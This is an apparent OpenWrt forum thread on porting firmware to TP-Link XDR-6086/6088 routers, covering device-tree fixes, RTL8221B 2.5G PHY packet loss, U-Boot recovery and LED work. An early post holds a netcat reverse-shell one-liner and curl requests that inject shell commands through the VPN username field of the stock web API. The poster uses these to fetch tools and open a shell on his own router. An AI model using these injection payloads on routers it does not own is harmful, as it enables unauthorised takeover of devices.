Adding support for TP-Link XDR-6086

Understood. Removing DBDC from the device tree fixed the MAC address issue, so no need to worry about that now.

;mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 4444 >/tmp/p&

A more convenient method (without usb):
Install netcat:
Suppose your computer IP is
Create a tftp server on the computer, put the corresponding file in.

curl -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","para":{"username":";tftp -g -l netcat.ipk -r netcat.ipk &","password":"password1","type":"l2tp","netmode":"client2lan","localip":"","dns":"","block":"0","ippool":"new","maxsessions":"1"},"name":"user_1"},"method":"add"}'<stok>/ds
curl -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","para":{"username":";opkg install netcat.ipk &","password":"password1","type":"l2tp","netmode":"client2lan","localip":"","dns":"","block":"0","ippool":"new","maxsessions":"1"},"name":"user_1"},"method":"add"}'<stok>/ds

One step closer, if you want to use busybox:

curl -o busybox
curl -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","para":{"username":";tftp -g -l busybox -r busybox &","password":"password1","type":"l2tp","netmode":"client2lan","localip":"","dns":"","block":"0","ippool":"new","maxsessions":"1"},"name":"user_1"},"method":"add"}'<stok>/ds
curl -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","para":{"username":";chmod +x ./busybox &","password":"password1","type":"l2tp","netmode":"client2lan","localip":"","dns":"","block":"0","ippool":"new","maxsessions":"1"},"name":"user_1"},"method":"add"}'<stok>/ds

Now we have a full-featured busybox.
For example, use busybox wget:

python3 -m http.server
nc -nlvp 4444
# Another shell window:
curl -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","para":{"username":";netcat -e /bin/sh 4444  &","password":"password1","type":"l2tp","netmode":"client2lan","localip":"","dns":"","block":"0","ippool":"new","maxsessions":"1"},"name":"user_1"},"method":"add"}'<stok>/ds
# On the router:
./busybox wget xxx

@daniel it seems there was an MTK bug fix for a kernel panic pushed yesterday, could you roll these changes in?


@daniel Any news on the development of xdr6086 Openwrt support?

1 Like

After speaking with @lynxis it became more clear that his patches fir 1G/2.5G mode switching should not be used. Instead, the RealTek PHY driver should do either
a) set the PHY SerDes to operate only into 2500Base-X mode (currently it runs in 2500Base-X/SGMII mode, apparently)
b) update phylink->interface in the config_init call to switch 2500Base-X and SGMII modes.

Option a) is probably better for this device at this point as we already know that the SGMII unit driver doesn't work well in 1G speed, so better have it always in 2500Base-X speed. Once 1G mode works well with the SoC we can later change this for a bit of power saving if the port is not operating at 2.5G speed.


If I understand correctly, this uboot can only boot from tftp to recover the environment by pressing the reset button during the first boot?
Can this be changed so that pressing the reset button during every boot will boot from tftp? Or is it possible to enable netconsole through a button? And can two buttons use different labels to trigger different actions (such as restoring factory settings and booting from tftp)?

Maybe CONFIG_USE_PREBOOT is a good choice?

(I don't have a NAND programmer,so I don't dare to test it myself.)

It already does. Holding the reset button also resets the environment, so from perspective of U-Boot scripting that makes it a 'first boot'. So, as a result, holding the reset button during power on will always make the router request initramfs via TFTP.

Yes, you can do that. Note that U-Boot's netconsole is unidirectional though, ie. you can just see what's happening but you can't interact or send anything via the console.

Yes, also this is very doable, U-Boot is built entirely from source and hence allows anyone to develop such features. And one can easily test everything on more dev-friendly boards like the BPi-R64 or BPi-R3 to minimize the risk of bricking the thing and having to mess with the the NAND chip directly....


Thank you. I understand it now.

1 Like

@daniel is there any way to restore to the original firmware bin, mtd , tftp or anything? thanks

I bought XDR6086 mid december/22 because it was listed as an Openwrt supported ax router on Table of Hardware: Ideal for OpenWrt + 802.11ax supported) and this topic was active with frequent messages at that time. Sadly the router is far from being supported and this topic is dead.
I suggest to someone with the necessary access to edit that page and remove this device from ax supported list and not mislead another users to buy a unsupported Openwrt device by mistake.
@tmomas can help us with this?

I’d hardly consider this thread dead. The device can be flashed and run OpenWrt and runs, however it’s just a matter of correcting the 2.5G ports.


wget a url, and get this, Are there any other wget components missing?

wget: server returned error: HTTP/1.1 403 Forbidden

I would like to ask you guys whether 6088 can support it or when it will be supported

1 Like

I found the RTL8221B datasheet and I hope to help you guys with it
8221B datasheet

1 Like

I did some measurements using ping, iperf, and tcpdump and found something interesting with XDR-6088 when 2.5G PHY (RTL8221B-VB-CG) works at 1G mode. The OpenWRT version is here.

Firstly, The WAN port (which is connected to GMAC1) works fine at 2.5Gbps without any packet loss in both directions. But when it is negotiated to 1Gbps, TX works fine, but RX always has a 30% packet loss rate. But if the Ethernet frame size is less than 64 Bytes (including FCS) or the size is an odd number or the size (including FCS) mod 32 is zero, we have no packet loss. It's obvious that the minimum size of an Ethernet frame is 64. So we got padding and the packet didn't lose?

Here is my packet loss rate with different ICMP payload sizes, measured by ping -s. And the total ethernet frame size is the size here + 8 (which is ICMP header) + 20 (which is IPv4 header) + 18 (which is ethernet header + FCS):

Secondly, I got some packet drop through ifconfig. And I measured it with tcpdump to see what the dropped packet is, and it shows the unknown ether type in the ethernet header. But when looking carefully, the frame is sent by the sender but gets some header cut. Here is my pcap file when doing iperf UDP with default 1M bandwidth receive by xdr6088.

Last, the LAN 2.5G port (which is connected to the MT7531 switch) can only work at 2.5Gbps, and these two LEDs of the 2.5Gbps Port didn't light at all even though it's working properly at 2.5Gbps Mode.

I come up with the following ideas to solve the 2.5Gbps problem and the LED problem.

2.5G Port didn't work properly at not 2.5G speed: I reviewed the device tree dump from factory firmware, and it shows both 2.5G Ports are fixed speed 2.5Gbps, which makes me confused. Then I checked the RTL8221B datasheet, and it shows a special "Rate Adaptor" mode that connects to MAC at a fixed 2.5Gbps speed, the only disadvantage in this Mode is the EEE will not work. Recall that the factory firmware set both 2.5G ports to fixed 2.5Gbps, and it works at 2.5G in the current version of OpenWRT. I think this mode may be the factory firmware set, but I didn't find out how to set it to this mode through MDIO registers or the device tree, maybe I should reread the document carefully.

LED problem: The RTL8221B datasheet shows LED configuration registers, so maybe the LED is directly connected to PHY, so it's not a big problem.



I didn't find out how to set these MDIO registers to Rate Adaptor Mode. Finally, I emailed Realtek FAE for help, they said they have a SERDES application note (which is mentioned in the datasheet) for the configuration. But the request for this document is generally processed by Realtek distributors and an NDA sign is needed.

So what can we do next? Can we use Logic Analyzer to track the MDIO signals or reverse-engineer the factory kernel and patch somewhere to trace the MDIO?


Have you ever seen Netgear WAX206 GPL source code? WAX206 is using mt7622+RTL8221B

see target/linux/mediatek/patches-4.4/1006-rtk822x.patch


Nice work! I have ported the patches to kernel v5.15 and changed the device tree to fixed link mode. Now the 2.5G wan port works at 1G mode without packet loss!

The code is here. You can get the patch by git diff c5a4aefe8ee4eeb1cdfd1fdc3ff91a70797370de > ../openwrt/target/linux/mediatek/patches-5.15/1006-rtk822x.patch and make the OpenWRT (don't forget to change the device tree and set the gmac1 to fixed link 2500 full-duplex).

There is still some work needed to make the 2.5G LAN works since this code hardwired PHY register number to 7, we have another PHY number 5 for LAN.

But I'm not sure whether this code will be merged to OpenWRT through it has some code with Realtek copyright claims.


Finally, I made the XDR 608x works. I made the LEDs of the two 2.5G ports lights and made them works at a speed of less than 2.5Gbps (I've tested 2.5G/1G/100M Full Duplex) without packet loss.

You can find my source code at and compile it yourself.

There is some further work to make it available to be upstream.

Since we don't have a step-by-step tutorial just now, I strongly recommend you have a TTL cable connected before flashing the router and back up the entire flash (which contains the wifi firmware set by the factory and it's not identical for each device) before writing the OpenWRT. The U-Boot will show some important messages through TTL UART, don't let U-Boot runs the default boot command the first time. I have broken my router once, the U-Boot is even broken, and then saved it by the CH341 programmer and WSON8 probe. It takes me about 100 CNY and a few days to wait for the package.